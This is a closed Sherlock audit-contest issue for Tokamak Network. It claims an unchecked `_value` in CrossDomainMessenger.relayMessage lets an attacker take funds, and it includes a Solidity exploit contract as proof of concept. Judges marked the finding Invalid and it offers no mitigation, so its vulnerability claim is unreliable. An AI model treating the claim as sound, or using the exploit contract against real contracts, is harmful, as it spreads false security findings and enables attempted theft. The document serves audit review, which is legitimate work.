sherlock-audit / 2024-08-tokamak-network-judging

1 stars 0 forks source link

Demhack - Attacker will exploit unchecked `_value` to steal funds from the protocol #78

Closed sherlock-admin2 closed 3 weeks ago

sherlock-admin2 commented 3 weeks ago

Demhack

Invalid

Attacker will exploit unchecked _value to steal funds from the protocol

Summary

A missing check on the _value parameter will cause an unauthorized fund transfer for the protocol as the attacker will bypass the deposit requirement by sending a cross-chain message with a non-zero _value while msg.value is zero.

Root Cause

In src/universal/CrossDomainMessenger.sol:246, the function only checks for msg.value == 0 instead of ensuring that both msg.value == 0 and _value == 0 when the caller is not the other messenger.

Internal pre-conditions

  1. The attacker needs to call relayMessage() with _value greater than zero and msg.value set to zero.
  2. The system address check for cross-chain messaging needs to bypass the validation logic of msg.value.

External pre-conditions

  1. The attacker must be able to send a cross-chain message, triggering relayMessage() without being from the other messenger.

Attack Path

  1. Attacker sends a crafted cross-chain message with _value > 0 and msg.value == 0.
  2. The system validates msg.value == 0, ignoring _value > 0.
  3. The message gets relayed, and the target receives funds from the contract, despite no actual ETH being transferred by the attacker.

Impact

The protocol suffers a loss equivalent to the _value sent via the message. The attacker gains the transferred amount without depositing any funds.

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICrossDomainMessenger {
    function relayMessage(
        uint256 _nonce,
        address _sender,
        address _target,
        uint256 _value,
        uint256 _minGasLimit,
        bytes calldata _message
    ) external payable;
}

contract Exploit {
    ICrossDomainMessenger public crossDomainMessenger;
    address public target;  // Target contract to receive the ETH
    uint256 public exploitValue = 1 ether;  // Exploit value to be sent to the target

    constructor(address _crossDomainMessenger, address _target) {
        crossDomainMessenger = ICrossDomainMessenger(_crossDomainMessenger);
        target = _target;
    }

    // Function to execute the exploit
    function executeExploit(uint256 nonce, uint256 minGasLimit, bytes calldata message) external {
        // Call the relayMessage function with _value > 0 and msg.value == 0
        crossDomainMessenger.relayMessage{value: 0}(
            nonce,              // Nonce for the message
            address(this),      // Address of the attacker
            target,             // Target to receive the funds
            exploitValue,       // _value set to exploitValue (non-zero)
            minGasLimit,        // Minimum gas limit
            message             // Message to send
        );
    }

    // Fallback function to receive any transferred funds
    receive() external payable {
        // Exploit successful if funds are received
    }
}

Mitigation

No response